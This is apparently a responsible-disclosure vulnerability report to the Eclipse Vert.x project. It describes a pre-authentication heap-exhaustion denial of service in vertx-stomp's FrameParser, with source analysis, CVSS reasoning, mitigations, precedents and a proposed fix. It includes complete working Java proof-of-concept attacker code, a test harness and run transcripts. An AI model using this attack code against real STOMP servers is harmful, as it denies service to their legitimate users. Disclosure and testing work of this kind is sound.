## Basic information - **Project name:** Eclipse Vert.x - **Project id:** rt.vertx - **Affected component:** vertx-stomp — `io.vertx.ext.stomp.impl.FrameParser` ## Affected versions All released versions appear affected. - **5.1.6** — current latest release (confirmed via `repo1.maven.org/maven2/io/vertx/vertx-stomp/maven-metadata.xml`). This is the version the live PoC below was run against. - The identical unbounded construct is present by source inspection on tag **4.5.32** (`FrameParser.java:59`), on tag **3.9.16** (`FrameParser.java:62`) and on current **master** (`FrameParser.java:59`) — none of them pass a `maxRecordSize`. The maintained 4.5.x line needs the same fix. These were source-verified, not separately PoC-tested. No existing advisory covers this. The only published vertx-stomp advisory is GHSA-gvrq-cg5r-7chp / CVE-2023-32081, an unrelated pre-CONNECT authentication bypass (CWE-287). (That advisory is cited again further down as _precedent_, not as prior coverage.) ## Details of the issue Type: unbounded memory allocation / heap-exhaustion DoS. **CWE-770 / CWE-400.** Pre-authentication, remote, unauthenticated. **Severity High — CVSS 3.1 base 7.5, vector `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`** (availability only). The basis for `A:H` is measured, and its limits are stated explicitly in the Impact section below. `FrameParser` decodes STOMP frames line-by-line with a `RecordParser` created **without a `maxRecordSize`**: ```java // io.vertx.ext.stomp.impl.FrameParser (5.1.6), line 59 private final RecordParser frameParser = RecordParser.newDelimited(EOL, this::handleLine); ``` The parser starts in the `COMMAND` state (`FrameParser.java:61`) and buffers bytes until it sees the `EOL` (`\n`) delimiter. `FrameParser` itself does have bounds — four of them, and they are the only ones on the inbound decode path — but none can bound that first line. (The full `StompServerOptions` surface, including the settings applied downstream of the parser, is enumerated in _Do you know any mitigations of the issue?_ below.) | Guard | Site | Default | |-------|------|---------| | `hasExceededNumberOfHeaders()` | called at `:134`, impl `:181-183` | `maxHeaders` = 1000 | | `hasExceededHeaderLength(header, value)` | called at `:139`, impl `:176-179` | `maxHeaderLength` = 10240 | | `hasExceededBodySize()` | called at `:152` and `:213`, impl `:221-223` | `maxBodyLength` = 104857600 (100 MB) | | raw-chunk accumulation guard | `handle(Buffer)` `:211-217` | gated on `current == State.BODY` | `maxHeaders`, `maxHeaderLength`, and the `:152` call site of `hasExceededBodySize()` all run inside `handleLine(Buffer)`, which the `RecordParser` invokes only once it has already emitted a **complete delimited record** — which requires the EOL byte the attacker never sends. The fourth is the only guard that inspects raw inbound chunks _before_ the RecordParser — it accumulates `bodyLength += event.length()` and calls `hasExceededBodySize()` — but it is gated on `current == State.BODY`. While the parser is in `COMMAND` (the initial state) or `HEADERS`, every inbound chunk falls straight through to `frameParser.handle(event)` at `FrameParser.java:218`, uncounted: ```java // io.vertx.ext.stomp.impl.FrameParser (5.1.6), lines 209-219, verbatim including indentation @Override public synchronized void handle(Buffer event) { if (current == State.BODY) { bodyLength += event.length(); if (hasExceededBodySize()) { reportOrThrow("Body size exceeded"); return; } } frameParser.handle(event); } ``` Downstream, `RecordParserImpl.handle(Buffer)` appends every chunk into a single growing `Buffer` at `RecordParserImpl.java:292` (`buff.appendBuffer(buffer)`, vertx-core 5.1.6). Its own record cap at `RecordParserImpl.java:296-303` is inert here twice over: it is written `if (buff != null && maxRecordSize > 0 && ...)` and the `maxRecordSize` field (`:42`) is never assigned, so it holds its default of `0`; and it is evaluated only _after_ the append has already happened. So a peer that streams bytes containing **no newline** is buffered **without bound**, on the very first line (the STOMP command) — i.e. **before any authentication/CONNECT frame**. `StompServerOptions` exposes no option that reaches `RecordParser.maxRecordSize(...)`. Every documented setting — on `StompServerOptions` and on the `NetServerOptions` / `TCPSSLOptions` / `NetworkOptions` it inherits — is enumerated against this code path in _Do you know any mitigations of the issue?_ below. The runtime stack trace in the PoC below confirms exactly this chain: `FrameParser.handle(FrameParser.java:218)` → `RecordParserImpl.handle(RecordParserImpl.java:292)` → `BufferImpl.appendBuffer` → `OutOfMemoryError`. ## Impact Measured against a stock `StompServer` on 5.1.6 at `-Xmx256m`, JDK 21 (details and full transcripts in the PoC section): - **Confirmed:** a single unauthenticated connection streaming a no-newline byte stream drives the JVM into a sustained `OutOfMemoryError` condition on the Vert.x event loop, reported through `ContextImpl.reportException` (logged `SEVERE: Unhandled exception`). The first OOM lands \~2 s in, after \~128 MB streamed, and then recurs continuously for as long as the connection is held — **2,401 OOM events in the 58 s the connection stayed open**. Essentially the whole heap is pinned by the attacker's buffer for the duration. - **Confirmed:** legitimate service is denied while the attack is held. With the victim server alone in its own JVM, and the 8 attacker connections plus the legitimate client driven from a separate JVM with its own large heap, a legitimate STOMP client performing an ordinary publish/receive round-trip of a 16 MB message — which completes in \~0.6 s against the idle server — **was denied while awaiting the `MESSAGE` echo, timing out after 34.3 s and again after 34.5 s**. The server accepted the frame and then never delivered it. - **Confirmed by control:** the denial is caused by the unbounded buffering, not by CPU or bandwidth load. The same harness with one flag flipped, so the same 8 connections stream the same volume of bytes _containing newlines_ (the RecordParser emits records instead of accumulating), serves the identical 16 MB legitimate round-trip in **132 ms and 86 ms**, with **zero** OOM events on the victim. - **Explicitly NOT demonstrated — stated so the severity can be judged accurately:** the victim JVM did **not** terminate. It stayed alive through both arms and shut down normally. Nor are all client connections dropped: a `CONNECT`/`CONNECTED` handshake still completed in \~2 ms even while the server was in the OOM loop, and the legitimate client was still able to push its 16 MB body to the server — only the delivery back never came. The failing allocation is the doubling of one large buffer, so when it fails the oversized array is never allocated and small allocations still find headroom. Denial applies to the server's actual message-moving function, not to every packet. `A:H` is claimed on the measured basis that the component's actual function — moving messages — is denied for as long as the attacker delivers the attack, at negligible attacker cost, pre-authentication, with nothing in the code or configuration bounding the growth. A reviewer who weighs the surviving trivial handshakes more heavily may prefer `A:L` (5.3); the evidence for both readings is above. The same defect is reachable **client-side by inspection**: `StompClientConnectionImpl` (5.1.6, `:103`) builds `new FrameParser()` via the no-arg constructor (default `StompServerOptions`) and feeds it raw socket bytes from `Status.CONNECTING` (`:101`) onward, so a malicious STOMP server can do the same to a Vert.x `StompClient`. **I did not build a PoC for the client direction — only the server direction was measured.** ## Steps to reproduce ### 1. Minimal reproducer — single pre-auth connection `pom.xml` with one dependency: ```xml <dependency> <groupId>io.vertx</groupId> <artifactId>vertx-stomp</artifactId> <version>5.1.6</version> </dependency> ``` `src/main/java/Poc.java` — this is the exact file that produced the transcript below, pasted verbatim: ```java import io.vertx.core.Vertx; import io.vertx.ext.stomp.StompServer; import io.vertx.ext.stomp.StompServerHandler; import java.io.OutputStream; import java.net.Socket; import java.util.Arrays; public class Poc { public static void main(String[] a) throws Exception { Thread.setDefaultUncaughtExceptionHandler((th, t) -> { for (Throwable r = t; r != null; r = r.getCause()) if (r instanceof OutOfMemoryError) { System.out.println(">>> *** SERVER OutOfMemoryError on " + th.getName() + " — STOMP FrameParser/RecordParser buffered the no-newline stream unbounded (no maxRecordSize). LIVE-CONFIRMED. ***"); Runtime.getRuntime().halt(0); } }); Vertx vertx = Vertx.vertx(); int port = 61613; StompServer.create(vertx).handler(StompServerHandler.create(vertx)).listen(port).onComplete(ar -> { if (ar.failed()) { ar.cause().printStackTrace(); System.exit(1); } System.out.println("[victim] STOMP server up on :" + port + " (JVM -Xmx256m)"); new Thread(() -> { try (Socket s = new Socket("127.0.0.1", port)) { OutputStream out = s.getOutputStream(); byte[] chunk = new byte[1024 * 1024]; Arrays.fill(chunk, (byte) 'A'); // 1MB of 'A' — NO newline, ever long sent = 0; System.out.println("[attacker] streaming bytes with NO newline (pre-auth; not even a CONNECT frame)..."); while (true) { out.write(chunk); out.flush(); sent += chunk.length; if (sent % (32L * 1024 * 1024) == 0) System.out.println("[attacker] streamed " + (sent/1024/1024) + " MB with no newline; server still buffering..."); } } catch (Throwable e) { System.out.println("[attacker] socket ended: " + e); } }).start(); }); Thread.sleep(60000); System.out.println("(no OOM within 60s)"); System.exit(0); } } ``` Build and run with a modest heap: ```bash mvn -q compile dependency:build-classpath -Dmdep.outputFile=cp.txt java -Xmx256m -cp "target/classes:$(cat cp.txt)" Poc ``` Observed on JDK 21 (Temurin 21.0.11), 2026-08-28. Notes on the block that follows, kept outside the fence so the fence stays verbatim: - The `[HH:MM:SS]` prefixes are added by the capture wrapper, not printed by the program. Everything after each prefix is the program's own stdout/stderr, unmodified. - Two elisions, both marked `[... ]`: the first OOM's stack trace is shown down to the Vert.x dispatch frames and its remaining Netty event-loop frames are cut; and the run logged **2,401** `SEVERE: Unhandled exception` / `OutOfMemoryError` reports in total between 21:38:12 and 21:39:10, of which one is shown. - Nothing else is trimmed. The unabridged 9,748-line capture is attached as `run1-single-connection-oom.log`. ``` RUN START 2026-08-28T21:38:07Z [21:38:10] Aug 28, 2026 9:38:10 PM io.vertx.ext.stomp.impl.StompServerImpl [21:38:10] INFO: STOMP server listening on 61613 [21:38:10] [victim] STOMP server up on :61613 (JVM -Xmx256m) [21:38:10] [attacker] streaming bytes with NO newline (pre-auth; not even a CONNECT frame)... [21:38:11] [attacker] streamed 32 MB with no newline; server still buffering... [21:38:11] [attacker] streamed 64 MB with no newline; server still buffering... [21:38:11] [attacker] streamed 96 MB with no newline; server still buffering... [21:38:12] [attacker] streamed 128 MB with no newline; server still buffering... [21:38:12] Aug 28, 2026 9:38:12 PM io.vertx.core.impl.ContextImpl [21:38:12] SEVERE: Unhandled exception [21:38:12] java.lang.OutOfMemoryError: Java heap space [21:38:12] at io.netty.util.internal.PlatformDependent.allocateUninitializedArray(PlatformDependent.java:396) [21:38:12] at io.netty.buffer.UnpooledUnsafeHeapByteBuf.allocateArray(UnpooledUnsafeHeapByteBuf.java:39) [21:38:12] at io.vertx.core.buffer.impl.VertxUnsafeHeapByteBuf.allocateArray(VertxUnsafeHeapByteBuf.java:33) [21:38:12] at io.netty.buffer.UnpooledHeapByteBuf.capacity(UnpooledHeapByteBuf.java:133) [21:38:12] at io.netty.buffer.AbstractByteBuf.ensureWritable0(AbstractByteBuf.java:305) [21:38:12] at io.netty.buffer.AbstractByteBuf.ensureWritable(AbstractByteBuf.java:280) [21:38:12] at io.netty.buffer.AbstractByteBuf.writeBytes(AbstractByteBuf.java:1110) [21:38:12] at io.vertx.core.buffer.impl.BufferImpl.appendBuffer(BufferImpl.java:256) [21:38:12] at io.vertx.core.buffer.impl.BufferImpl.appendBuffer(BufferImpl.java:41) [21:38:12] at io.vertx.core.parsetools.impl.RecordParserImpl.handle(RecordParserImpl.java:292) [21:38:12] at io.vertx.ext.stomp.impl.FrameParser.handle(FrameParser.java:218) [21:38:12] at io.vertx.ext.stomp.impl.FrameParser.handle(FrameParser.java:32) [21:38:12] at io.vertx.core.internal.ContextInternal.dispatch(ContextInternal.java:257) [21:38:12] at io.vertx.core.net.impl.StreamChannelBase$DataMessageHandler.handle(StreamChannelBase.java:339) [... 2,400 further identical OOM reports, 21:38:12 -> 21:39:10 ...] [21:39:10] (no OOM within 60s) JAVA_EXIT=0 RUN END 2026-08-28T21:39:11Z ``` Two things worth calling out, since they bear on severity and are easy to misread: - `FrameParser.handle(FrameParser.java:218)` in the stack is the `frameParser.handle(event)` line — i.e. the bytes reached the RecordParser without passing any accumulation guard, because the guard above it is gated on `State.BODY`. - The `(no OOM within 60s)` line and `JAVA_EXIT=0` are the PoC's own timer expiring and the JVM exiting **normally**. The PoC's `setDefaultUncaughtExceptionHandler` never fires, because Vert.x catches the `Throwable` on the event loop and logs it rather than letting it reach the thread's uncaught handler. **The process does not die** — the OOM condition simply persists for as long as the connection is held. ### 2. Impact harness — denial of legitimate service, with control This is the evidence behind the `A:H` rating. The victim runs **alone in its own JVM** at `-Xmx256m`; the attacker connections and the legitimate client run in a **second, separate JVM** with a large heap (`-Xmx2g`), so no allocation failure in the test client can be mistaken for the victim's. One flag selects the arm: `-Dnewlines=false` is the attack (bytes with no newline), `-Dnewlines=true` is the control (same connection count, same byte volume, but newline-delimited so the RecordParser emits records instead of accumulating). In both arms the legitimate client does real STOMP work — `CONNECT`, `SUBSCRIBE`, `SEND` a 16 MB body, await the `MESSAGE` echo — first against the idle server, then under load. `src/main/java/ServerMain.java` (the victim): ```java import io.vertx.core.Vertx; import io.vertx.ext.stomp.StompServer; import io.vertx.ext.stomp.StompServerHandler; /** Victim: a stock Vert.x STOMP server, alone in its own JVM. */ public class ServerMain { public static void main(String[] a) throws Exception { int port = Integer.getInteger("port", 61620); Vertx vertx = Vertx.vertx(); StompServer.create(vertx).handler(StompServerHandler.create(vertx)).listen(port).onComplete(ar -> { if (ar.failed()) { ar.cause().printStackTrace(); System.exit(1); } System.out.println("[victim] STOMP server up on :" + port); }); Thread.sleep(Long.getLong("ttl", 180000)); System.out.println("[victim] shutting down normally (survived the run)"); System.exit(0); } } ``` `src/main/java/ClientMain.java` (attacker + legitimate client): ```java import java.io.InputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Socket; import java.util.Arrays; /** * Attacker + legitimate client, in a JVM SEPARATE from the victim server, with its own * large heap so that no allocation failure here can be confused with the victim's. * * -Dnewlines=true -> control (streamed bytes contain '\n' every 64 bytes) * -Dnewlines=false -> attack (no newline at all) */ public class ClientMain { static final String HOST = System.getProperty("host", "127.0.0.1"); static final int PORT = Integer.getInteger("port", 61620); static final int ATTACKERS = Integer.getInteger("attackers", 8); static final int BODY = Integer.getInteger("body", 16 * 1024 * 1024); static final boolean NEWLINES = Boolean.getBoolean("newlines"); static String legitWork(String label) { long t0 = System.currentTimeMillis(); String stage = "connect"; try (Socket s = new Socket()) { s.connect(new InetSocketAddress(HOST, PORT), 10000); s.setSoTimeout(30000); OutputStream out = s.getOutputStream(); InputStream in = s.getInputStream(); byte[] buf = new byte[512]; stage = "CONNECT/CONNECTED handshake"; out.write("CONNECT\naccept-version:1.2\nhost:localhost\n\n\0".getBytes("UTF-8")); out.flush(); int n = in.read(buf); if (n <= 0) return label + ": DENIED at " + stage + " (EOF) after " + (System.currentTimeMillis() - t0) + " ms"; long tHandshake = System.currentTimeMillis() - t0; stage = "SUBSCRIBE + SEND " + (BODY / 1024 / 1024) + "MB"; out.write("SUBSCRIBE\nid:0\ndestination:/queue/t\n\n\0".getBytes("UTF-8")); out.flush(); byte[] body = new byte[BODY]; Arrays.fill(body, (byte) 'B'); out.write(("SEND\ndestination:/queue/t\ncontent-length:" + BODY + "\n\n").getBytes("UTF-8")); out.write(body); out.write(0); out.flush(); long tSent = System.currentTimeMillis() - t0; stage = "awaiting MESSAGE echo"; long got = 0; while (got < BODY) { int r = in.read(buf); if (r < 0) return label + ": DENIED - EOF while " + stage + ", got " + got + " of " + BODY + " bytes (handshake ok at " + tHandshake + " ms, body sent at " + tSent + " ms)"; got += r; } return label + ": SERVED - handshake " + tHandshake + " ms, body sent " + tSent + " ms, " + (BODY / 1024 / 1024) + " MB echoed back, total " + (System.currentTimeMillis() - t0) + " ms"; } catch (Throwable e) { return label + ": DENIED while " + stage + " after " + (System.currentTimeMillis() - t0) + " ms -> " + e; } } public static void main(String[] a) throws Exception { System.out.println("[client-jvm] mode=" + (NEWLINES ? "CONTROL newline-delimited" : "ATTACK no-newline") + ", attackers=" + ATTACKERS + ", legit payload=" + (BODY / 1024 / 1024) + " MB"); System.out.println(">>> BASELINE " + legitWork("legit-baseline")); for (int i = 0; i < ATTACKERS; i++) { final int id = i; new Thread(() -> { try (Socket s = new Socket(HOST, PORT)) { OutputStream out = s.getOutputStream(); byte[] chunk = new byte[256 * 1024]; Arrays.fill(chunk, (byte) 'A'); if (NEWLINES) for (int k = 63; k < chunk.length; k += 64) chunk[k] = '\n'; while (true) { out.write(chunk); out.flush(); } } catch (Throwable e) { System.out.println("[load-" + id + "] socket ended: " + e); } }).start(); Thread.sleep(50); } System.out.println("[load] " + ATTACKERS + " connections opened"); Thread.sleep(20000); for (int i = 1; i <= 2; i++) { System.out.println(">>> UNDER LOAD " + legitWork("legit-probe-" + i)); Thread.sleep(2000); } System.out.println("[end] mode=" + (NEWLINES ? "CONTROL" : "ATTACK")); Runtime.getRuntime().halt(0); } } ``` `run.sh` — starts the victim JVM, then the client JVM, then reports the victim's OOM count and whether it is still alive: ```sh #!/bin/sh # arg1 = newlines true|false ; arg2 = port NL="$1"; PORT="$2" java -Xmx256m -Dport=$PORT -Dttl=120000 -cp "target/classes:$(cat cp.txt)" ServerMain > /tmp/server-$NL.log 2>&1 & SRVPID=$! sleep 5 java -Xmx2g -Dport=$PORT -Dnewlines=$NL -cp "target/classes:$(cat cp.txt)" ClientMain 2>&1 | grep '>>>\|\[client-jvm\]\|\[load\]\|\[end\]' echo "--- victim JVM (separate process, -Xmx256m) ---" printf 'victim OOM_EVENTS=%s\n' "$(grep -c 'SEVERE: Unhandled exception' /tmp/server-$NL.log)" if kill -0 $SRVPID 2>/dev/null; then echo "victim process ALIVE after run"; else echo "victim process DEAD after run"; fi grep '\[victim\]' /tmp/server-$NL.log kill $SRVPID 2>/dev/null ``` ```bash sh run.sh true 61620 # control sh run.sh false 61621 # attack ``` Observed, both arms back to back in one container. The client JVM's stdout is filtered to its `>>>`/`[client-jvm]`/`[load]`/`[end]` markers (the victim's OOM stack traces go to a separate log, counted below); nothing else is elided. ``` === CONTROL === [client-jvm] mode=CONTROL newline-delimited, attackers=8, legit payload=16 MB >>> BASELINE legit-baseline: SERVED - handshake 400 ms, body sent 488 ms, 16 MB echoed back, total 651 ms [load] 8 connections opened >>> UNDER LOAD legit-probe-1: SERVED - handshake 2 ms, body sent 40 ms, 16 MB echoed back, total 132 ms >>> UNDER LOAD legit-probe-2: SERVED - handshake 2 ms, body sent 29 ms, 16 MB echoed back, total 86 ms [end] mode=CONTROL --- victim JVM (separate process, -Xmx256m) --- victim OOM_EVENTS=0 victim process ALIVE after run [victim] STOMP server up on :61620 === ATTACK === [client-jvm] mode=ATTACK no-newline, attackers=8, legit payload=16 MB >>> BASELINE legit-baseline: SERVED - handshake 374 ms, body sent 480 ms, 16 MB echoed back, total 614 ms [load] 8 connections opened >>> UNDER LOAD legit-probe-1: DENIED while awaiting MESSAGE echo after 34267 ms -> java.net.SocketTimeoutException: Read timed out >>> UNDER LOAD legit-probe-2: DENIED while awaiting MESSAGE echo after 34496 ms -> java.net.SocketTimeoutException: Read timed out [end] mode=ATTACK --- victim JVM (separate process, -Xmx256m) --- victim OOM_EVENTS=5001 victim process ALIVE after run [victim] STOMP server up on :61621 ``` Same connection count, same byte volume, same code, separate victim process — the only difference is whether the streamed bytes contain a delimiter. The control arm is _faster_ than its own baseline (JIT warm); the attack arm stalls the legitimate exchange at the point where the server should deliver the message back. Exact figures are heap-layout and timing dependent and vary between runs. Across repeated attack runs I observed victim OOM-event counts between 2,794 and 5,001, and legitimate-probe failures between 34 s and 46 s. The qualitative outcome — control serves, attack denies, victim survives — reproduced on every run. ### Environment Both harnesses were run in the same container image, against the released artifact resolved from Maven Central (`io.vertx:vertx-stomp:5.1.6`, pulling `vertx-core` 5.1.6 and Netty 4.2.17.Final). JDK is Temurin 21.0.11. ```bash # minimal reproducer (section 1) docker run --rm -v "$PWD/vertx-stomp-recordparser-poc":/work -v m2:/root/.m2 -w /work \ maven:3.9-eclipse-temurin-21 sh -c \ 'mvn -q compile dependency:build-classpath -Dmdep.outputFile=cp.txt; java -Xmx256m -cp "target/classes:$(cat cp.txt)" Poc' # impact harness, both arms (section 2) docker run --rm -v "$PWD/vertx-stomp-recordparser-poc":/work -v m2:/root/.m2 -w /work \ maven:3.9-eclipse-temurin-21 sh -c \ 'mvn -q compile dependency:build-classpath -Dmdep.outputFile=cp.txt; sh run.sh true 61620; sh run.sh false 61621' ``` ## Do you know any mitigations of the issue? **No. I enumerated every documented setting on `StompServerOptions` — including everything it inherits from `NetServerOptions` / `TCPSSLOptions` / `NetworkOptions`, and the `HttpServerOptions` limits that govern the optional WebSocket bridge — and verified each default in source at the released 5.1.6 tag. None of them bounds the pre-delimiter accumulation.** This is not configurable-to-secure, at defaults or under any hardened configuration. | Setting | Default (verified in source) | Why it does not bound this | |---------|------------------------------|----------------------------| | `maxHeaderLength` | `10240` — `StompServerOptions.java:37`, `:49` | Evaluated at `FrameParser.java:139` (`hasExceededHeaderLength`, impl `:176-179`), **inside `handleLine(Buffer)`** — the `RecordParser` output callback, invoked only after a complete delimited record. Also measures `String.length()` of an already-split header/value, not accumulated raw bytes. | | `maxHeaders` | `1000` — `:38`, `:50` | Wrong unit and wrong stage: `hasExceededNumberOfHeaders` (`:181-183`) counts `HashMap` entries, called at `:134` inside `handleLine`. During the attack the count is 0. | | `maxBodyLength` | `104857600` (100 MB) — `:40`, `:51` | The **only** bound that sees raw inbound chunks (`handle(Buffer)`, `:211-217`), but it is gated `if (current == State.BODY)`. The initial state is `COMMAND` (`:61`) and `reset()` restores `COMMAND` (`:172`), so the attack path is never counted, at any configured value. Its other call site (`:152`) is again inside `handleLine`. | | `maxFrameInTransaction` | `1000` — `:42`, `:53` | Counts fully decoded frames inside a transaction; post-CONNECT, post-decode. Zero frames are ever decoded. | | `transactionChunkSize` | `1000` — `:43`, `:64` | Chunks the replay of a committed transaction; nothing on the inbound decode path. | | `maxSubscriptionsByClient` | `1000` — `:44`, `:65` | Post-authentication subscription accounting. | | `secured` + `AuthenticationProvider` | `false` — `:59` | Applied at the wrong layer — see below. | | `websocketBridge` / `maxWebSocketFrameSize` / `maxWebSocketMessageSize` | `false`; `65536`; `262144` — `:67`; `HttpServerOptions.java:66`, `:72` | The bridge builds the same parser (`StompServerImpl.java:266`, `:294`). `RecordParserImpl` accumulates **across** handler invocations (`:292`), so N messages with no EOL still sum without bound; a per-message cap is not a cumulative cap. | | `idleTimeout`, `readIdleTimeout` | `0` (disabled) — `TCPSSLOptions.java:56`, `:66`; wired `NetServerImpl.java:288-292` | Disabled by default and structurally defeated when enabled: the attacker is _sending_. Netty refreshes `lastReadTime` at `IdleStateHandler.java:294`, and reader-idle (`:507`) and all-idle (`:576`) both derive from it, so neither timer can expire. | | `writeIdleTimeout` | `0` (disabled) — `TCPSSLOptions.java:71` | **The one setting with any real bite — it reduces exposure but does not close the issue.** A time bound against a byte problem. The OOM lands \~2 s in after \~128 MB on one connection, and the attacker sets the rate and the connection count, so no value that keeps the server usable also bounds the allocation. It also closes legitimate idle subscriber connections. And post-CONNECT it is refreshed every second by the negotiated heartbeat PING write (`StompServerTCPConnectionImpl.java:121`, scheduled from `DefaultStompHandler.java:366-373`) while the parser sits back in `State.COMMAND`. | | `trafficShapingOptions` (inbound) | `0` (no limit) — `TrafficShapingOptions.java:31` | A rate cap, not a cumulative cap: it delays the OOM in proportion, it does not prevent it. | | `receiveBufferSize` | OS default (`SO_RCVBUF`) | Kernel socket buffer; only changes chunk granularity, not what the application-level `Buffer` retains. | | `acceptBacklog` / max connections | `-1`; **no max-connections option exists** — `NetServerOptions.java:49` | Irrelevant: the minimal reproducer exhausts a 256 MB heap from a **single** connection. | Two further points, because they close the two remaining escape hatches: **Enabling authentication does not gate the parser, and the attack is not confined to pre-auth.** The `FrameParser` is attached to the raw socket at `StompServerImpl.java:150` (TCP) and `:294` (WebSocket) at accept time. Authentication runs in `DefaultStompHandler.onAuthenticationRequest` (`:418-448`), reachable only from `handleConnect` (`:355`), which is dispatched from inside `parser.handler(frame -> ...)` — i.e. only once a complete frame exists, which is precisely what this attack prevents. That is also where the CVE-2023-32081 fix lives (the `firstFrame`/`connected` gate at `StompServerImpl.java:136-148`): it sits strictly downstream of the buffering and cannot be reached on this path. And because `reset()` (`:168-174`) returns the parser to `State.COMMAND` after every completed frame, an **authenticated** client can run the identical unbounded accumulation — so `setSecured(true)` does not even downgrade the vector to `PR:L`. **The bound that would fix this exists in vertx-core but is unreachable from configuration.** `RecordParser.maxRecordSize(int)` is documented at `RecordParser.java:196-206` ("Set the maximum allowed size for a record when using the delimited mode… If a record is longer than specified, an `IllegalStateException` will be thrown"), but `FrameParser.java:59` constructs the parser without it and never calls the setter, so `RecordParserImpl.maxRecordSize` (`:42`) keeps its `0` default and the guard at `:296` — written `maxRecordSize > 0`, and evaluated only _after_ `buff.appendBuffer(buffer)` at `:292` — is inert. No `StompServerOptions` property maps to it. On the client side there is not even a theoretical knob: `StompClientOptions` declares no size or limit setting at all (its only numeric field is `port`, `:42`), and `StompClientConnectionImpl.java:103` hard-codes `new FrameParser()`. _(Minor documentation note for the maintainers: `StompServerOptions.java:40` sets `DEFAULT_MAX_BODY_LENGTH = 1024 * 1024 * 100` = 100 MB, while the setter javadoc at `:142` and the STOMP guide both state "10 Mb by default". The figures above are taken from source.)_ ### Precedent in this project for this exact class - **CVE-2018-12541** (`io.vertx:vertx-core`, `A:H`): _"the WebSocket HTTP upgrade implementation buffers the full http request before doing the handshake, holding the entire request body in memory. There should be a reasonnable limit (8192 bytes) above which the WebSocket gets an HTTP response with the 413 status code and the connection gets closed."_ Same class — unbounded **pre-handshake** buffering — accepted as a toolkit defect and fixed by imposing a bound. - **CVE-2024-8391 / GHSA-g76f-gjfx-4rpr** (`vertx-grpc-server` **and** `vertx-grpc-client`, CWE-770, `PR:N`): _"the gRPC server does not limit the maximum length of message payload."_ Fixed by adding an option with a bounded default — `GrpcServerOptions.DEFAULT_MAX_MESSAGE_SIZE = 256 * 1024` (`GrpcServerOptions.java:19` at 4.5.10) — which is exactly the fix shape requested here. That advisory also covers the **client** artifact, i.e. the project has already accepted a client-side unbounded-message issue where the attacker is the peer. - **CVE-2026-6860 / GHSA-3g76-f9xq-8vp6** (`vertx-core`, published 2026-05-09): _"an unauthenticated client can send many distinct matching SNI names and cause the server to retain increasing numbers of `SslContext` entries over time, leading to increasing memory consumption and possible DoS conditions."_ Accepted although it requires non-default configuration and states only "possible DoS conditions"; this finding requires no configuration and has a measured OOM. - **CVE-2024-1300** (`vertx-core`, CWE-400): _"the SSL context is erroneously cached in the server name map, leading to memory exhaustion… triggering a JVM out-of-memory error."_ - **CVE-2023-32081** (`vertx-stomp`, this component): established the pre-CONNECT state as an attacker-controlled security boundary, and was accepted with _"Workarounds: No trivial workaround."_ ### Intent evidence in this repository `FrameParserTest` already tests every other parser bound — `testNumberOfHeadersExceeded` (`:397`), `testHeaderLengthExceeded` (`:410`), `testBodySizeExceeded` (`:478`), `testBodySizeExceededInOneFrame` (`:507`), `testBodySizeComputation` (`:533`). The command/header **line** is the one parser input with neither a bound nor a test, which reads as an oversight rather than a design decision. The STOMP guide states the intended contract that this defect breaks — _"If a frame exceeds one of the size limits, the frame is rejected and the client receives an `ERROR` frame. As the specification requires, the client connection is closed immediately after having sent the error. The same behavior happens with the other thresholds."_ (`src/main/asciidoc/index.adoc:129-131`, published at `vertx.io/docs/vertx-stomp/java/`). And vertx-core's own HTTP server bounds the first line of a text protocol by default at 4096 bytes (`HttpServerOptions.java:82`, `DEFAULT_MAX_INITIAL_LINE_LENGTH`); the STOMP command line is the direct analogue and has no equivalent. ### Fix Give the `RecordParser` a `maxRecordSize(...)` sized from a new STOMP option (e.g. a max frame/line length) with a **bounded default**, following the `GrpcServerOptions.DEFAULT_MAX_MESSAGE_SIZE` precedent, so an over-long un-terminated line fails fast instead of buffering unbounded. Note this alone changes the failure mode rather than fully handling it: `RecordParser`'s cap raises an `IllegalStateException` on the **`RecordParser`'s own** `exceptionHandler` (`RecordParserImpl.java:296-303`), which is a different handler from `FrameParser`'s frame `errorHandler`/`reportOrThrow(...)` path, and `FrameParser` never sets an `exceptionHandler` on `frameParser`. So the fix should also wire `frameParser.exceptionHandler(...)` into the existing `reportOrThrow(...)` path, otherwise the cap will throw out of `handle(Buffer)` instead of invoking the frame error handler. (The cap is also evaluated _after_ `buff.appendBuffer(buffer)` at `:292`, so it admits one chunk of overshoot — acceptable, but worth knowing when choosing the default.) A defence-in-depth alternative that needs no new option: move the raw-chunk accumulation guard in `handle(Buffer)` outside the `current == State.BODY` condition, so bytes accumulated in `COMMAND`/`HEADERS` are counted against `maxBodyLength` too. --- Reporter: Mike Read (JP Morgan). Please credit accordingly; embargoed until a fix ships.